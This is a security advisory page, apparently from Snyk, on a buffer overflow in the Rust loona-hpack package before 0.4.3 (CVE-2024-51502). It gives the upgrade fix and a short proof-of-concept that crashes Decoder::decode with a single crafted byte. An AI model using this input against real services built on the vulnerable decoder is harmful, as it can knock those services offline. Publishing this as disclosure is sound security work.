Buffer Overflow Affecting loona-hpack package, versions <0.4.3


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.05% (18th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-RUST-LOONAHPACK-8342622
  • published5 Nov 2024
  • disclosed5 Apr 2024
  • creditUnknown

Introduced: 5 Apr 2024

CVE-2024-51502  (opens in a new tab)
CWE-120  (opens in a new tab)

How to fix?

Upgrade loona-hpack to version 0.4.3 or higher.

Overview

Affected versions of this package are vulnerable to Buffer Overflow due to insufficient length checks in Decoder::decode. An attacker can trigger a panic by decoding malicious data.

Note: A patch has been issued for this vulnerability on the hpack-patched project.

PoC

use hpack::Decoder;

pub fn main() {
  let input = &[0x3f];
  let mut decoder = Decoder::new();
  let _ = decoder.decode(input);
}

CVSS Scores

version 3.1